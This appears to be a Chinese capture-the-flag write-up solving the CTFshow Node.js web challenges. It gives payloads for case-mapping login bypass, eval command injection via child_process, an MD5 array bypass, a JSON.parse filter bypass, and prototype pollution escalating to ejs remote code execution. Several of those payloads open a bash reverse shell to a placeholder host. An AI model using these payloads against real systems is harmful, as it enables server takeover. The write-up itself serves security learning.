CTFshow nodejs

CTFshow Node.js

  • CTFshow Node.js
    • web334
    • web335
    • web336
    • web337
      • md5绕过
    • web338
      • 原型链污染
    • web339
      • 原型链污染+
    • web340
      • 原型链污染++
    • web341
      • 原型链污染+++
    • web342
      • 原型链污染++++
    • web343
      • 原型链污染+++++
    • web344
      • nodejs特性

CTFshow Node.js

Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境,或者说是一个 JS 语言解释器而不是某种库。

Nodejs 是基于 Chrome 的 V8 引擎开发的一个 C++ 程序,目的是提供一个 JS 的运行环境。最早 Nodejs 主要是安装在服务器上,辅助大家用 JS 开发高性能服务器代码,但是后来 Nodejs 在前端也大放异彩,带来了 Web 前端开发的革命。Nodejs 下运行 JS 代码有两种方式,一种是在 Node.js 的交互环境下运行,另外一种是把代码写入文件中,然后用 node 命令执行文件代码。Nodejs 跟浏览器是不同的环境,写 JS 代码的时候要注意这些差异。

web334

下载源码分析,user.js存在用户名和密码

CTFshow nodejs_第1张图片

在login.js存在findUser函数,其中name.toUpperCase()将小写字符串转换为大写

toUpperCase这个函数有个特点:
字符ı、ſ 经过toUpperCase()处理后结果为 I、S
字符K经过toLowerCase()处理后结果为k

CTFshow nodejs_第2张图片

Payload:

username=ctfshow
password=123456

或者

username=ctfſhow
password=123456

web335

右键查看源代码发现提示

CTFshow nodejs_第3张图片

猜测可能是get上传eval参数执行nodejs代码

Payload:

?eval=require('child_process').execSync('tac f*').toString()
?eval=require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()

CTFshow nodejs_第4张图片

web336

发现好像过滤了一些东西,通配符无法使用。

Payload:

?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['./fl001g.txt']).stdout.toString()

web337

md5绕过

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  res.end(flag);
}else{
  res.render('index',{ msg: 'tql'});
}

Payload1:

?a[0]=1&b[0]=1

CTFshow nodejs_第5张图片

可以发现两者的值相等,但是a!==b,后面跟上字符串后md5加密后的值也是相等的。

Payload2:

?a[x]=any&b[x]=anywhere

CTFshow nodejs_第6张图片

可以发现传入一个JSON值输出之后都是一个[object Object]+字符,所以md5加密后的值也是相等的。

注意:两个payload是不一样的,数字是数组的下标,字符是键值对。

web338

原型链污染

在做原型链污染的时候最好使用bp发包,用hackerbar可能有点小问题。

参考链接:

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascript

大致的意思是我们需要找到一个能够控制数组(对象)的“键名”的操作。

我们可以在common.js中找到一个copy函数

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是__proto__,就可以原型链污染。

在login.js中调用了copy函数

  var secert = {};
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }

Payload:

{"__proto__":{"ctfshow":"36dboy"}}

CTFshow nodejs_第7张图片

web339

原型链污染+

这道题比上个多出个api.js

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

做个小测试

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

user = {}
body = JSON.parse('{"__proto__":{"query":"return 2233"}}');
copy(user, body)
{ query: Function(query)}(query)}
console.log(query)

发现query的值为2233,在调用copy时,原型链被污染了

那么为什么 {query: Function(query)(query)}为{ query : 2233 }

CTFshow nodejs_第8张图片

可以看到两者的执行结果是一样的,nodejs中定义函数这两种方法都可以。

CTFshow nodejs_第9张图片

Payload(非预期):

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/your-ip/port 0>&1\"');var __tmp2"}}

先在login污染,后访问api反弹shell。这里为什么要用outputFunctionName,请看参考链接。

https://blog.csdn.net/DARKNOTES/article/details/124000520

web340

原型链污染++

这道题和上道题的区别在这里,user里面有个userinfo属性,userinfo的原型是user,user的原型才是object,所以要多加一层__proto__,我们要污染object中的query。

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;   
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
  
  
});

Payload:

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/your-ip/port 0>&1\"')"}}}

web341

原型链污染+++

通过snyk扫描源代码发现ejs 远程代码执行(RCE)

CTFshow nodejs_第10张图片

参考链接:

https://evi0s.com/2019/08/30/expresslodashejs-%E4%BB%8E%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E5%88%B0rce

ejs漏洞由ejs模块中渲染页面触发的,位于app.js下。

app.engine('html', require('ejs').__express); 

Payload:

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/your-ip/port 0>&1\"');var __tmp2"}}}

随后访问服务器根目录即可得到flag

在这里插入图片描述

web342

原型链污染++++

直接放payload:
先在login污染原型,然后随便发一次包即可反弹成功。

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/your-ip/port 0>&1\"')"}}}

为什么没有过程?我不会哇
看大佬链接:https://tari.moe/2021/05/04/ctfshow-nodejs/
但是这位师傅的payload我没有反弹成功

web343

原型链污染+++++

与上题一样,多了个过滤,不影响。
login.js中多了,不知道这句话有什么用。

if(JSON.stringify(req.body).match(/Text/ig)){
    res.end('hacker go away');
  }

web344

nodejs特性

if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }

这里利用JSON.parse()的解析特性,如果我们分开多个query传值,req.query.query会将所有参数query的值都放在一个数组中,接着JSON.parse()解析时会将数组中的元素都拼接起来再解析,这就绕过了逗号的使用。
c在url编码过程中会与"组成%22c,2c会与正则匹配。所以要把c进行URL编码为%63
Payload:

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

你可能感兴趣的:(javascript,原型模式,开发语言,web安全)